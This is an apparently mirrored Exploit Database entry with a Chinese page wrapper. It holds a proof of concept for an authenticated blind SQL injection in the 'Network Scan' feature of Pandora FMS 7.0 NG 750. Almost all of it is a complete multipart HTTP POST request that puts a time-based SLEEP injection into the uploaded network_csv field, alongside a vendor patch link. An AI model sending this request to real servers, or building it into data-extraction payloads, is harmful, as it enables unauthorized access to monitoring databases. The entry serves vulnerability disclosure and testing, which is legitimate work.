Pandora FMS 7.0 NG 750 – ‘Network Scan’ SQL Injection (Authenticated)

• Exploit Database
• 137 阅读

• 作者： Matthew Aberegg
  日期： 2020-12-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49312/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83

  # Exploit Title: Pandora FMS 7.0 NG 750 - 'Network Scan' SQL Injection (Authenticated) # Date: 12-21-2020 # Exploit Author: Matthew Aberegg, Alex Prieto # Vendor Homepage: https://pandorafms.com/ # Patch Link: https://github.com/pandorafms/pandorafms/commit/d08e60f13a858fbd22ce6b83fa8ca391c608ec5c # Software Link: https://pandorafms.com/community/get-started/ # Version: Pandora FMS 7.0 NG 750 # Tested on: Ubuntu 18.04     # Vulnerability Details # Description : A blind SQL injection vulnerability exists in the "Network Scan" functionality of Pandora FMS. # Vulnerable Parameter : network_csv     # POC   POST /pandora_console/index.php?sec=gservers&sec2=godmode/servers/discovery&wiz=hd&mode=netscan&page=1 HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------308827614039434535382911921119 Content-Length: 1597 Origin: http://TARGET Connection: close Referer: http://TARGET/pandora_console/index.php?sec=gservers&sec2=godmode/servers/discovery&wiz=hd&mode=netscan Cookie: PHPSESSID=i5uv0ugb4bdu9avagk38vcdok3 Upgrade-Insecure-Requests: 1   -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="interval_manual_defined"   1 -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="interval_select"   300 -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="interval_text"   0 -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="interval"   0 -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="interval_units"   1 -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="taskname"   test -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="id_recon_server"   3 -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="network_csv_enabled"   on -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="network_csv"; filename="test.txt" Content-Type: text/plain   ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- a   -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="network"     -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="comment"   test -----------------------------308827614039434535382911921119 Content-Disposition: form-data; name="submit"   Next -----------------------------308827614039434535382911921119--